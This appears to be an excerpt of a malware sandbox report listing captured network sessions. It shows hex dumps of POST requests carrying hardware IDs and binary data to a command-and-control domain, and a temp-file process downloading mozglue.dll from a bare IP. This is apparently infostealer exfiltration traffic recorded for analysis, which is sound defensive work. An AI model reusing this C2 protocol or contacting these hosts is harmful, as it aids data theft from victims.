2024-05-24 07:43:39 UTC	16384	IN	Data Raw: 24 60 50 e8 4e 1c 04 00 83 c4 04 8d 44 24 50 50 e8 41 1c 04 00 83 c4 04 8d 44 24 40 50 e8 34 1c 04 00 83 c4 04 8d 44 24 30 50 e8 27 1c 04 00 83 c4 04 8d 44 24 20 50 e8 1a 1c 04 00 83 c4 04 83 c6 04 83 fe 04 77 1a b8 13 e0 ff ff ff 24 b5 74 55 08 10 b8 05 e0 ff ff eb 0c b8 02 e0 ff ff eb 05 b8 01 e0 ff ff 50 e8 7d 90 06 00 83 c4 04 e9 75 fb ff ff cc cc 55 89 e5 53 57 56 81 ec ac 00 00 00 89 cb 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 73 08 83 c6 07 c1 ee 03 85 c9 74 1b 8b 41 04 80 38 04 0f 85 c2 01 00 00 8d 04 36 83 c0 01 39 41 08 0f 85 b3 01 00 00 89 95 48 ff ff ff c7 45 ec 00 00 00 00 c7 45 dc 00 00 00 00 c7 45 cc 00 00 00 00 c7 45 bc 00 00 00 00 c7 45 ac 00 00 00 00 c7 45 9c 00 00 00 00 c7 45 8c 00 00 00 00 c7 85 7c ff ff ff 00 00 00 00 c7 85 6c ff ff Data Ascii: $`PND$PPAD$@P4D$0P'D$ Pw$tUP}uUSWVM01EstA869AHEEEEEEE\|l
2024-05-24 07:43:39 UTC	16384	IN	Data Raw: 89 f8 f7 65 c4 89 95 4c fd ff ff 89 85 58 fd ff ff 89 f8 f7 65 d4 89 95 ac fd ff ff 89 85 b4 fd ff ff 89 f8 f7 65 d8 89 95 30 fe ff ff 89 85 40 fe ff ff 89 f8 f7 65 e4 89 95 a0 fe ff ff 89 85 a4 fe ff ff 89 f8 f7 65 e0 89 95 c4 fe ff ff 89 85 cc fe ff ff 89 f8 f7 65 dc 89 95 ec fe ff ff 89 85 f0 fe ff ff 89 d8 f7 e7 89 95 10 ff ff ff 89 85 18 ff ff ff 8b 75 94 89 f0 f7 65 9c 89 85 30 fd ff ff 89 55 88 8b 45 c8 8d 14 00 89 f0 f7 e2 89 95 90 fd ff ff 89 85 98 fd ff ff 89 f0 f7 65 c4 89 95 f0 fd ff ff 89 85 f8 fd ff ff 89 f0 f7 65 90 89 55 90 89 85 9c fe ff ff 89 f0 f7 65 d8 89 95 b8 fe ff ff 89 85 bc fe ff ff 89 f0 f7 65 ec 89 95 e4 fe ff ff 89 85 e8 fe ff ff 89 f0 f7 65 e0 89 95 20 ff ff ff 89 85 24 ff ff ff 89 f0 f7 65 f0 89 95 28 ff ff ff 89 85 30 ff ff Data Ascii: eLXee0@eeeue0UEeeUeee $e(0
2024-05-24 07:43:39 UTC	16384	IN	Data Raw: 89 4d bc 8b 4f 28 89 4d a8 89 75 c8 89 45 d8 8b 47 24 89 45 c0 8b 77 20 89 75 ac 8b 4f 08 89 4d e0 89 f8 89 7d ec 8b 5d a8 01 d9 8b 3f 01 f7 89 7d cc 8b 70 04 13 75 c0 89 75 b8 83 d1 00 89 4d d0 0f 92 45 b4 8b 70 0c 8b 55 bc 01 d6 8b 48 10 8b 45 d4 11 c1 0f 92 45 90 01 d6 11 c1 0f 92 45 e8 01 c6 89 45 d4 13 4d e4 0f 92 45 f0 01 5d e0 0f b6 7d b4 8d 04 06 11 c7 0f 92 45 b4 8b 45 c0 01 45 cc 11 5d b8 8b 45 bc 8b 55 d0 8d 1c 02 83 d3 00 89 5d e0 0f 92 c3 01 c2 0f b6 db 8b 45 e4 8d 14 07 11 d3 89 5d d0 0f 92 c2 03 75 d4 0f b6 45 b4 8b 5d e4 8d 34 19 11 f0 89 45 9c 0f 92 45 a4 01 df 0f b6 d2 8b 75 c8 8d 34 30 11 f2 0f 92 45 df 80 45 90 ff 8b 75 ec 8b 46 14 89 45 94 8d 04 03 89 df 83 d0 00 89 45 b4 0f 92 45 98 80 45 e8 ff 8d 1c 18 89 7d e4 83 d3 00 0f 92 45 8c Data Ascii: MO(MuEG$Ew uOM}]?}puuMEpUHEEEEME]}EEE]EU]E]uE]4EEu40EEuFEEEE}E
2024-05-24 07:43:39 UTC	16384	IN	Data Raw: ff ff 89 f8 81 e7 ff ff ff 01 8d 0c fe 89 d6 c1 ee 1d 01 f1 89 8d 04 ff ff ff c1 e8 19 8b bd 30 ff ff ff 89 fe 81 e7 ff ff ff 03 8d 3c f8 89 c8 c1 e8 1c 01 c7 c1 ee 1a 8b 9d 34 ff ff ff 89 d8 81 e3 ff ff ff 01 8d 1c de 89 fe c1 ee 1d 01 f3 c1 e8 19 8b b5 38 ff ff ff 89 f1 81 e6 ff ff ff 03 8d 04 f0 89 de c1 ee 1c 01 f0 89 c6 25 ff ff ff 1f 89 85 38 ff ff ff c1 e9 1a c1 ee 1d 8d 04 0e 01 f1 83 c1 ff 89 8d 14 ff ff ff 8b 8d 0c ff ff ff c1 e1 03 81 e1 f8 ff ff 1f 8d 0c 41 89 8d 18 ff ff ff 8b b5 10 ff ff ff 81 e6 ff ff ff 0f 89 c1 c1 e1 0b 29 ce 8b 8d 14 ff ff ff c1 e9 1f 89 8d 14 ff ff ff 83 c1 ff 89 ca 81 e2 00 00 00 10 01 d6 89 b5 24 ff ff ff 8b b5 08 ff ff ff 81 e6 ff ff ff 1f 89 ca 81 e2 ff ff ff 1f 01 d6 89 b5 28 ff ff ff 8b b5 04 ff ff ff 81 e6 ff ff Data Ascii: 0<48%8A)$(

Session ID	Source IP	Source Port	Destination IP	Destination Port
156	192.168.2.4	50016	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:38 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 13630 Host: employhabragaomlsp.shop
2024-05-24 07:43:38 UTC	13630	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:39 UTC	808	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o7kbvpns0798j38klg3v191vva; expires=Tue, 17-Sep-2024 01:30:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OZEJvl%2BvL1XKkZYrpoegfmW6e31wGI3Deqto8EX7tnkgD14E407JSlj5UisdcTfBAMBPN5II6tkYd166xytY5ssSw6VgXpevAjZH3IVvKNa9miBF0qEs1TWoMycSFpSrM1GMN69s9SjQzA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba7ec9d6078ed-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
157	192.168.2.4	50017	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:40 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: employhabragaomlsp.shop
2024-05-24 07:43:40 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:40 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-05-24 07:43:40 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uq3804un26qnsg021rbadq1o9g; expires=Tue, 17-Sep-2024 01:30:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VLewW4vc6CNSgLdhYPfYJqCQVfTOUH%2Fx9UXLAn0a1ugCV70ntSE3%2BOXP65XXSjDOj00BCnY9%2F6WpS6W6tFehe9AwtjedPTky3M5JmlzxA3iRQ%2Byqk1z5WUkpVZmwq4aQNFdr5ueOdbFXrQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba7f4db711774-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:40 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.4	50018	78.47.123.174	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:40 UTC	173	OUT	GET /mozglue.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-24 07:43:40 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:40 GMT Content-Type: application/octet-stream Content-Length: 608080 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-94750" Accept-Ranges: bytes
2024-05-24 07:43:40 UTC	16138	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W,
2024-05-24 07:43:41 UTC	16384	IN	Data Raw: ff ff 8d 41 24 50 e8 fb 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 62 ff ff ff 8d 41 24 50 e8 df 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc eb 92 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 56 8b 75 0c 8b 8e b0 00 00 00 83 f9 10 0f 83 e4 00 00 00 c7 86 ac 00 00 00 00 00 00 00 c7 86 b0 00 00 00 0f 00 00 00 c6 86 9c 00 00 00 00 8b 8e 98 00 00 00 83 f9 10 0f 83 e0 00 00 00 c7 86 94 00 00 00 00 00 00 00 c7 86 98 00 00 00 0f 00 00 00 c6 86 84 00 00 00 00 8b 8e 80 00 00 00 83 f9 10 0f 83 dc 00 00 00 c7 46 7c 00 00 00 00 c7 86 80 00 00 00 0f 00 00 00 c6 46 6c 00 8b 4e 68 83 f9 10 0f 83 de 00 00 00 c7 46 64 00 00 00 00 c7 46 68 0f 00 00 00 c6 46 54 00 8b 4e 50 83 f9 10 0f 83 e3 00 00 00 c7 46 4c 00 00 00 00 c7 46 50 0f 00 00 00 c6 46 Data Ascii: A$P~#HbA$P~#HUVuF\|FlNhFdFhFTNPFLFPF
2024-05-24 07:43:41 UTC	16384	IN	Data Raw: 0f 86 bd 05 00 00 50 e8 7a d3 01 00 83 c4 04 e9 e1 f9 ff ff 8b 45 90 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 b4 05 00 00 50 e8 57 d3 01 00 83 c4 04 e9 dc f9 ff ff 8b 85 78 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 a8 05 00 00 50 e8 31 d3 01 00 83 c4 04 e9 d4 f9 ff ff 8b 85 60 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 9c 05 00 00 50 e8 0b d3 01 00 83 c4 04 e9 d2 f9 ff ff 8b 85 48 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 90 05 00 00 50 e8 e5 d2 01 00 83 c4 04 e9 d6 f9 ff ff 8b b5 24 ff ff ff 89 0e 8b 85 2c ff ff ff 89 46 04 8b 4d f0 31 e9 e8 52 27 03 00 89 f0 81 c4 d0 00 00 00 5e 5f 5b 5d c3 89 f1 89 fa ff b5 30 ff ff ff e9 30 f4 ff ff 89 f1 81 c6 4c ff ff ff 39 c8 74 63 8d 8d 3c ff ff ff 56 e8 de bc ff ff 89 f1 89 fa e8 d5 f1 Data Ascii: PzEPWxP1`PHP$,FM1R'^_[]00L9tc<V
2024-05-24 07:43:41 UTC	16384	IN	Data Raw: 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 03 b9 59 17 b7 d1 89 f8 f7 e1 89 d1 c1 e9 0d 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 02 89 f8 c1 e8 05 b9 c5 5a 7c 0a f7 e1 89 d1 c1 e9 07 bb ff 00 00 00 89 c8 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c1 80 c9 30 ba 83 de 1b 43 89 f8 f7 e2 8b 06 8b 7d 08 88 4c 38 01 c1 ea 12 89 d0 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c2 80 ca 30 89 f1 8b 06 8b 75 08 88 14 06 8b 39 8d 47 07 89 01 83 c7 0d b9 cd cc cc cc 8b 75 ec 89 f0 f7 e1 89 d1 c1 e9 03 8d 04 09 8d 04 80 89 f3 29 c3 80 cb 30 89 c8 ba cd cc cc cc f7 e2 8b 45 08 88 1c 38 89 c3 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 7d 0c 8b 07 88 4c 18 05 b9 1f 85 eb 51 89 f0 f7 e1 89 d1 c1 e9 05 89 c8 ba Data Ascii: )0LY)0LZ\|!i(0C}L8!i(0u9Gu)0E8)0}LQ
2024-05-24 07:43:41 UTC	16384	IN	Data Raw: 00 00 00 31 c9 8d 14 08 83 c2 0c f2 0f 10 42 f4 8b 5d f0 f2 0f 11 04 0b 8b 7a fc c7 42 fc 00 00 00 00 89 7c 0b 08 8b 1e 8b 7e 04 8d 3c 7f 8d 3c bb 83 c1 0c 39 fa 72 cd e9 81 00 00 00 8b 06 8d 0c 49 8d 0c 88 89 4d f0 31 d2 8d 1c 10 83 c3 0c f2 0f 10 43 f4 f2 0f 11 04 17 8b 4b fc c7 43 fc 00 00 00 00 89 4c 17 08 83 c2 0c 3b 5d f0 72 da 8b 46 04 85 c0 0f 8e 02 ff ff ff 8b 1e 8d 04 40 8d 04 83 89 45 f0 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 ec 52 01 00 83 c4 04 83 c3 0c 3b 5d f0 0f 83 d4 fe ff ff eb db 31 c0 40 89 45 ec e9 27 ff ff ff 8d 0c 49 8d 3c 88 89 c3 39 fb 73 20 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 b0 52 01 00 83 c4 04 83 c3 0c 39 fb 72 e2 8b 1e 53 e8 9e 52 01 00 83 c4 04 8b 45 f0 89 06 8b 45 ec 89 46 08 e9 8b fe ff ff 68 a7 fa 07 Data Ascii: 1B]zB\|~<<9rIM1CKCL;]rF@ECCtPR;]1@E'I<9s CCtPR9rSREEFh
2024-05-24 07:43:41 UTC	16384	IN	Data Raw: 1b 89 c8 e9 b3 fe ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 07 89 c8 e9 c2 fe ff ff ff 15 b0 bf 08 10 cc cc cc cc 55 89 e5 57 56 89 ce 8b 79 20 85 ff 74 28 f0 ff 4f 38 75 22 8b 4f 14 83 f9 10 73 5f c7 47 10 00 00 00 00 c7 47 14 0f 00 00 00 c6 07 00 57 e8 2d 13 01 00 83 c4 04 8b 7e 18 c7 46 18 00 00 00 00 85 ff 74 1c 8b 07 85 c0 74 0d 50 ff 15 04 be 08 10 c7 07 00 00 00 00 57 e8 03 13 01 00 83 c4 04 8b 46 08 85 c0 75 2f 8b 46 04 85 c0 74 09 50 e8 ec 12 01 00 83 c4 04 5e 5f 5d c3 8b 07 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 76 20 50 e8 cf 12 01 00 83 c4 04 eb 86 c7 05 f4 f8 08 10 1a 2b 08 10 cc b9 18 00 00 00 e8 0d 80 02 00 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 04 89 c8 eb cf ff 15 b0 bf 08 10 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 Data Ascii: H) sUWVy t(O8u"Os_GGW-~FttPWFu/FtP^_]v P+H) sUSWV
2024-05-24 07:43:41 UTC	16384	IN	Data Raw: 00 00 c7 44 24 34 07 00 00 00 66 c7 44 24 20 00 00 57 e8 e1 37 06 00 83 c4 04 89 c6 83 f8 07 8b 5c 24 04 0f 87 4b 03 00 00 8d 44 24 20 89 70 10 89 f1 01 f1 51 57 50 e8 fe 37 06 00 83 c4 0c 66 c7 44 74 20 00 00 8b 44 24 30 8b 4c 24 34 89 ca 29 c2 83 fa 11 0f 82 fd 05 00 00 8d 50 11 89 54 24 30 83 f9 08 72 06 8b 4c 24 20 eb 04 8d 4c 24 20 0f b7 15 de 4d 08 10 66 89 54 41 20 0f 10 05 ce 4d 08 10 0f 11 44 41 10 0f 10 05 be 4d 08 10 0f 11 04 41 66 c7 44 41 22 00 00 bf 10 00 00 00 57 e8 60 3e 00 00 83 c4 04 89 c6 8b 45 0c f2 0f 10 40 20 f2 0f 11 06 f2 0f 10 40 28 f2 0f 11 46 08 83 7c 24 34 08 72 06 8b 44 24 20 eb 04 8d 44 24 20 57 56 6a 03 6a 00 50 53 ff 15 2c e3 08 10 89 c3 56 e8 9e d2 00 00 83 c4 04 8b 4c 24 34 83 f9 08 8b 7c 24 08 0f 83 b0 03 00 00 85 db 0f Data Ascii: D$4fD$ W7\$KD$ pQWP7fDt D$0L$4)PT$0rL$ L$ MfTA MDAMAfDA"W`>E@ @(F\|$4rD$ D$ WVjjPS,VL$4\|$
2024-05-24 07:43:41 UTC	16384	IN	Data Raw: 08 0f 86 cc 02 00 00 83 c3 0f 89 d8 83 e0 f0 89 44 24 1c c1 eb 04 c1 e3 05 8d 34 1f 83 c6 50 80 7f 3c 00 89 7c 24 10 89 5c 24 18 74 0a 83 7f 40 00 0f 84 29 06 00 00 8d 47 0c 89 44 24 20 50 ff 15 30 be 08 10 8b 16 85 d2 0f 84 38 01 00 00 83 7a 08 00 0f 84 2e 01 00 00 8b 4a 04 8b 74 8a 0c 85 f6 0f 84 eb 01 00 00 8b 5f 40 85 db 75 60 0f bc fe 89 cb c1 e3 05 09 fb 0f bb fe 8b 7c 24 10 8b 44 24 18 0f af 5c 07 58 8b 44 07 68 89 74 8a 0c 01 d0 01 c3 83 42 08 ff 85 db 0f 84 a2 05 00 00 8b 44 24 1c 01 47 2c ff 74 24 20 ff 15 b0 be 08 10 85 db 0f 84 93 05 00 00 8b 4c 24 60 31 e9 e8 51 e7 01 00 89 d8 8d 65 f4 5e 5f 5b 5d c3 89 4c 24 04 89 54 24 14 8b 0b 8b 7b 04 89 3c 24 0f a4 cf 17 89 c8 c1 e0 17 31 c8 8b 53 0c 33 3c 24 89 7c 24 08 8b 4b 08 89 0c 24 89 53 04 0f a4 Data Ascii: D$4P<\|$\$t@)GD$ P08z.Jt_@u`\|$D$\XDhtBD$G,t$ L$`1Qe^_[]L$T${<$1S3<$\|$K$S
2024-05-24 07:43:41 UTC	16384	IN	Data Raw: 58 e9 75 ff ff ff c7 44 24 3c 00 00 00 00 8b 5c 24 04 e9 a5 fe ff ff 31 d2 a8 10 0f 44 54 24 18 31 c9 39 f2 0f 97 c0 0f 82 e1 fe ff ff 88 c1 e9 d5 fe ff ff b0 01 e9 ec fd ff ff 8b 46 04 83 f8 01 0f 87 13 01 00 00 89 f2 8b 06 31 c9 85 c0 8b 74 24 1c 0f 84 39 04 00 00 8b 48 04 83 e1 fe 89 0a 89 d1 83 e1 fe 89 54 24 04 8b 50 04 83 e2 01 09 ca 89 50 04 8b 54 24 04 8b 52 04 83 e2 01 09 ca 89 50 04 8b 4c 24 04 80 49 04 01 83 60 04 01 89 c1 e9 fb 03 00 00 c7 44 24 28 00 00 00 00 e9 f9 fd ff ff 8d 74 24 54 89 f1 e8 37 0b fe ff 8b 1e e9 47 ff ff ff 83 e3 fe 89 58 04 89 d6 8b 1a 85 db 0f 84 fb 01 00 00 8b 43 04 83 e0 fe 89 06 89 f0 83 e0 fe 8b 4b 04 83 e1 01 09 c1 89 4b 04 8b 4e 04 89 c8 83 e0 fe 0f 84 c0 01 00 00 8b 10 83 e2 fe 83 e1 01 09 d1 89 4e 04 89 30 8b 4b Data Ascii: XuD$<\$1DT$19F1t$9HT$PPT$RPL$I`D$(t$T7GXCKKNN0K
2024-05-24 07:43:41 UTC	16384	IN	Data Raw: c1 72 d1 88 cb 8b 50 04 83 e2 fe eb cc 83 e3 fe 89 1a 89 d6 83 e6 fe 8b 18 8b 48 04 83 e1 01 09 f1 89 48 04 85 db 0f 84 8d 0a 00 00 80 63 04 fe 8b 74 24 14 39 16 75 07 89 06 e9 69 ff ff ff 83 e0 fe 8b 56 04 83 e2 01 8d 0c 02 89 4e 04 85 c0 0f 84 25 0a 00 00 8b 08 83 e1 fe 09 d1 89 4e 04 89 30 8b 4e 04 83 e1 01 8b 50 04 83 e2 fe 09 ca 89 50 04 80 4e 04 01 85 ff 0f 84 1f 0a 00 00 39 37 0f 84 a0 05 00 00 e9 e0 05 00 00 8b 4c 24 1c 8b 19 89 d9 ba 00 f0 ff ff 21 d1 8b 70 08 21 d6 31 d2 39 f1 0f 97 c2 b9 ff ff ff ff 0f 42 d1 85 d2 0f 85 59 05 00 00 e9 c0 05 00 00 89 c1 85 d2 0f 85 c2 fe ff ff 8b 54 24 04 c7 02 00 00 00 00 8b 4c 24 08 c7 44 b1 14 01 00 00 00 83 fb 01 0f 84 17 02 00 00 89 10 8b 54 24 20 8b 44 24 48 85 c0 0f 84 c2 09 00 00 80 60 04 fe 8b 4c 24 0c Data Ascii: rPHHct$9uiVN%N0NPPN97L$!p!19BYT$L$DT$ D$H`L$

Session ID	Source IP	Source Port	Destination IP	Destination Port
159	192.168.2.4	50019	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:41 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1387 Host: employhabragaomlsp.shop
2024-05-24 07:43:41 UTC	1387	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
